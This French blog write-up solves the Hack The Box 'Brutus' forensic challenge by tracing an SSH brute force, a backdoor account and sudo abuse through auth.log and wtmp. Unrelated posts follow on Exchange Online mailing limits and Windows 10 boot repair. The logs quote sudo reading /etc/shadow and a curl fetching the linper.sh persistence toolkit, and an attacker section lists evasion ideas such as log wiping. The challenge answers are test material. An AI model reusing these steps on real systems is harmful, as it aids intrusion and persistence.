Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

• Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Vous pourrez en apprendre plus sur ce fichier dans notre article Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?
• Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

• Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

• Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

• Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

• Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

• Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

• Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

G. Tâche n°7 : Temps de session SSH

• Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

• Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1110.001 - Brute Force: Password Guessing	Réalisation d'une attaque par bruteforce sur l'accès SSH.
T1078.003 - Valid Accounts: Local Accounts	Authentification en tant que "root" .
TTP1136.001 - Create Account: Local Account	Création d'un compte utilisateur local ("cyberjunkie").
T1098 - Account Manipulation	Ajout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "root"
T1078.003 - Valid Accounts: Local Accounts	Connexion SSH avec l'utilisateur nouvelle créé
T1608.002 - Stage Capabilities: Upload Tool	Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

• Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

• Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
• La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Retrouvez nos tutoriels Fail2ban.
  • Retrouvez nos tutoriels CrowdSec.
• Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
• Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

• L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
• Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • T1583 - Acquire Infrastructure
• Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • T1036 - Masquerading
• L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
  • T1562.012 - Impair Defenses: Disable or Modify Linux Audit System
  • T1562.003 - Impair Defenses: Impair Command History Logging
  • T1070.002 - Indicator Removal: Clear Linux or Mac System Logs
  • T1070.003 - https://attack.mitre.org/techniques/T1070/003/

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Brutus first appeared on IT-Connect.

GitHub Actions workflows for GitHub Pages just became generally available. GitHub Pages is a service that lets you host static websites on GitHub directly from your repositories. GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform provided by GitHub that allows users to automate their build, test, and deployment pipelines. This article takes you through using custom workflows to deploy static websites to GitHub Pages with GitHub Actions workflows.

À partir de janvier 2025 et dans le but de lutter contre l'envoi de spams, Microsoft va mettre en place une nouvelle restriction sur Exchange Online : une limite de 2 000 destinataires externes par jour. Faisons le point sur ce changement à venir.

Vous n'allez plus pouvoir abuser des ressources d'Exchange Online puisque dans un nouvel article, Microsoft a dévoilé les plans de sa nouvelle limite "External Recipient Rate" (ERR) : "Aujourd'hui, nous annonçons qu'à partir de janvier 2025, Exchange Online commencera à appliquer une limite de 2 000 destinataires externes en 24 heures.", peut -on lire.

Il s'agit d'une sous-limite de la limite globale, visant à limiter le nombre de destinataires externes à votre organisation. Voici ce qu'explique Microsoft dans son article : "Exchange Online applique une limite de taux de réception de 10 000 destinataires. La limite de 2 000 ERR deviendra une sous-limite dans cette limite de 10 000 destinataires."

Cette limite de 10 000 destinataires est indiquée dans la documentation de Microsoft. Elle est identique pour tous les abonnements Microsoft 365 (Business Basic, Business Standard, Business Premium, E3, E5, etc.).

La feuille de route de Microsoft

Pour déployer ce changement, Microsoft a prévu deux grandes étapes :

• Étape n°1 : À partir du 1er janvier 2025, la limite s'appliquera aux boîtes aux lettres Exchange Online, sur tous les nouveaux tenants.
• Étape n°2 - Entre juillet et décembre 2025, Microsoft va commencer à appliquer la limite aux boîtes aux lettres Exchange Online, sur les tenants existants

Autrement dit, si vous utilisez déjà Microsoft 365, vous serez affecté par ce changement entre juillet et décembre 2025.

Si vous avez besoin d'envoyer en masse des e-mails et que cette limitation est un problème pour votre organisation, vous devez vous orienter vers le service Azure Communication Services for Email qui est adapté à cet usage.

Microsoft n'est pas la première entreprise à prendre de nouvelles mesures sur les e-mails sortants : Google l'a fait un peu plus tôt cette année avec une limite à 5 000 e-mails par jour, à partir d'un même compte Gmail.

Source

The post Exchange Online : pour lutter contre le spam, Microsoft va limiter l’envoi de courriels en masse first appeared on IT-Connect.

Un des problèmes que les utilisateurs rencontrent régulièrement est que le PC s’allume, c’est à dire que vous entendez les ventilateurs et l’écran s’allume mais Windows 10 ne démarre pas.
Les sources de ce problème de démarrage sont multiples, comme une corruption du système par une mise à jour, une défaillance de disque, un pilote qui plante le démarrage, etc.

Dans ce guide complet, je vous donne plusieurs solutions lorsque votre PC s’allume mais que Windows 10 ne démarre pas.

Mon PC s’allume mais ne démarre pas en Windows 10

Faire un hard reset

Une réinitialisation de l’alimentation ou un redémarrage matériel ou encore en anglais Power Reset ou Hard Reset efface toutes les informations de la mémoire de l’ordinateur sans effacer les données personnelles.
Cela peut résoudre des corruptions de sources d’alimentation qui engendre des comportements aléatoires de votre PC. Voici la procédure générique à réaliser.

Pour les PC portables :

1. Éteignez votre ordinateur
2. Débranchez le cordon d’alimentation, s’il s’agit d’un portable retirez la batterie (voir notice si nécessaire).
3. En ayant le cordon d’alimentation débranché ou la batterie retirez, appuyez sur la touche d’alimentation pendant quelques secondes, comme si vous vouliez allumer ce dernier. Cela va vider toute l’électricité contenu dans l’ordinateur.
4. Re-branchez le tout ou remettez la batterie du portable.

Pour un PC de bureau :

• Débranchez l’alimentation
• Maintenez le bouton d’alimentation enfoncé pendant 15 secondes pour réinitialiser
• Rebranchez l’adaptateur secteur sur l’ordinateur portable, mais ne connectez aucun périphérique.
• Appuyez sur le bouton d’alimentation pour allumer l’ordinateur normalement.

Plus de détails avec tous les conseils et autres méthodes sur cette page :

Une fois que cela est fait, relancez normalement votre PC et vérifier si Windows 10 se charge normalement.
Sinon passez à l’étape suivante.

Démarrer en mode sans échec

Si Windows 10 est corrompu ou quelque chose empêche son démarrage, vous pouvez tester d’accéder au mode sans échec.
Pour cela, il faut parvenir à démarrer sur les options de démarrage avancées.
Voici les méthodes pour y parvenir :

• Après deux démarrages non consécutifs du PC. Windows entre en réparation automatique et donne accès à ces derniers
• Depuis l’écran de démarrage : Appuyez sur la touche MAJ et cliquez sur l’icône ampoule en bas à droite et redémarrer
• Par un disque de récupération ou depuis une clé USB d’installation Windows 10. Vous pouvez créer ces derniers depuis un PC fonctionnel

Au besoin, consultez ce guide : Démarrer sur les options de dépannage de Windows 10, 11

Ensuite pour accéder au mode sans échec :

• Accédez aux options de dépannage avancées
• Cliquez sur Outil de redémarrage système

• Ensuite cliquez sur le menu Paramètres afin de modifier la configuration de démarrage de Windows

• Puis appuyez sur la touche [su_clavier]5[/su_clavier] du clavier pour démarrer en mode sans échec avec prise en charge du réseau

Si vous parvenez à accéder au mode sans échec, c’est une bonne nouvelle car cela signifie que quelque chose bloque le mode normal.
Tentez alors :

• De désinstaller tous les logiciels de sécurité
• Désinstaller la dernière mise à jour
• Si vous avez mis à jour les pilotes, revenez au pilote précédent. Depuis le gestionnaire de périphériques, clic droit sur le périphérique et revenir au pilote précédent
• Restaurer Windows 10

Utiliser l’outil de démarrage système

Les options de récupérations fournissent aussi un utilitaire pour corriger les problèmes qui empêchent le chargement de Windows.
Voici comment l’utiliser :

• Accédez aux options de dépannage avancées
• Cliquez sur Outil de redémarrage système

• Laissez les réparations s’opérer
• Enfin relancez l’ordinateur pour vérifier si les problèmes de chargement de Windows 10 sont corrigés

Désinstaller la dernière mise à jour

Ce problème d’accès au bureau de Windows 10 peut se produire après une mise à jour du système.
Notamment, cela se produit souvent après une mise à jour de fonctionnalités.
Notez que si vous rencontrez un écran noir après la saisie du mot de passe ou code PIN, il faut parfois patienter car la mise à jour continue de s’installer.
Sinon une solution est de désinstaller la dernière mise à jour.
Voici comment faire :

• Accédez aux options de dépannage avancées
• Puis cliquez sur “Désinstaller des mises à jour“.

• Puis choisissez pour désinstaller mise à jour de qualité (mensuelle) ou de fonctionnalités (annuelle)

Réparer le démarrage de Windows 10

Une autre source des problèmes de chargement de Windows 10 est que les fichiers de configuration de démarrage sont corrompus.
En général, une erreur BCD vous le notifie mais si cela empêche le démarrage, vous pouvez tenter de réparer le démarrage de Windows 10 en invite de commandes.

• Accédez aux options de dépannage avancées
• Cliquez sur invite de commandes
• Puis saisissez la commande suivante :

bcdboot C:\Windows

• Si cela doit indiquer que les fichiers de démarrage ont été copiés correctement
• Redémarrez le PC pour tester si Windows 10 est maintenant accessible

Restaurer Windows 10

Voici comment restaurer Windows à une date antérieure :

• Démarrez votre PC depuis ;
  • Les options de dépannage et de récupération de Windows 10/11
  • Un lecteur de récupération de Windows 10, 11
• Une fois sur le menu des options de récupération, il faut cliquer sur Dépannage

• Puis cliquez sur Options avancées
• Ce donne accès aux options de dépannage pour restaurer Windows

• Enfin, vous pouvez cliquez sur Restauration du système

• L’assistant de restauration du système s’ouvre, il faut se laisser guider.
• Faites Suivant.

• Choisissez le point de restauration dans la liste et faites suivant.

• Confirmer la restauration du système en faisant Terminer et Oui.

• Si tout va bien la restauration s’effectue et vous indique qu’elle a réussi
• Redémarrez alors votre PC normalement pour lancer Windows

Plus de détails dans ces tutoriels :

• Comment restaurer Windows 10
• Comment restaurer Windows 11

Vérifier le disque dur ou SSD

En plus des problèmes logiciels, un problème matériel peut aussi empêcher le chargement de Windows.
Le plus courant étant une défaillance du support de stockage ; notamment celui qui stocke la partition C et la partition EFI.
Vous devez vérifier la santé de votre disque dur à partir d’un Live USB :

